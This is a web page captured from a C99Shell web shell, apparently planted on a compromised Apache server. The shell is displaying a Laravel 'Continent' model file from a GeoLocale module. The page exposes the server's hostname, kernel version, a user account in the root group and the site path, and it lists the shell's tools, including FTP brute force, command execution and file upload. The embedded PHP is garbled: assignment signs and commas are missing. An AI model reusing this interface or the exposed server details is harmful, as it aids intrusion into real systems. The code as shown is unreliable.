!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/GeoLocale/Entities/   drwxr-xr-x
Free 26.05 GB of 117.98 GB (22.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Continent.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\GeoLocale\Entities;

use 
Illuminate\Database\Eloquent\Model;
use 
Modules\GeoLocale\Traits\GeoLocaleTrait;

/**
 * Continent
 */
class Continent extends Model
{
    use 
GeoLocaleTrait;

    
/**
     * The database table doesn't use 'created_at' and 'updated_at' so we disable it from Inserts/Updates.
     *
     * @var bool
     */
    
public $timestamps false;

    
/**
     * The database table used by the model.
     *
     * @var string
     */
    
protected $table 'geolocale_continents';

    
/**
     * append names
     *
     * @var array
     */
    
protected $appends = ['local_name','local_full_name','local_alias''local_abbr'];

    
/**
     * Relation with Country model
     * 
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function countries()
    {
        return 
$this->hasMany(Country::class);
    }


    
/**
     * Children
     * 
     * @return Collection
     */
    
public function children()
    {
        return 
$this->countries;
    }

    
/**
     * Parent
     * 
     * @return Collection
     */
    
public function parent()
    {
        return 
null;
    }

    
/**
     * return Continent locales
     *
     * @return void
     */
    
public function locales()
    {
        return 
$this->hasMany(ContinentLocale::class);
    }

    
/**
     * Get Continent by name
     *
     * @param string $name
     * @return collection
     */
    
public static function getByName($name)
    {
        
$localized ContinentLocale::where('name'$name)->first();
        if (
is_null($localized)) {
            return 
$localized;
        }
        return 
$localized->Continent;
    }

    
/**
     * Search Continent by name
     *
     * @param string $names
     * @param mixed $name
     * @return collection
     */
    
public static function searchByName($name)
    {
        return 
ContinentLocale::where('name''like'"%" $name "%")
            ->
get()->map(function ($item) {
                return 
$item->Continent;
            });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--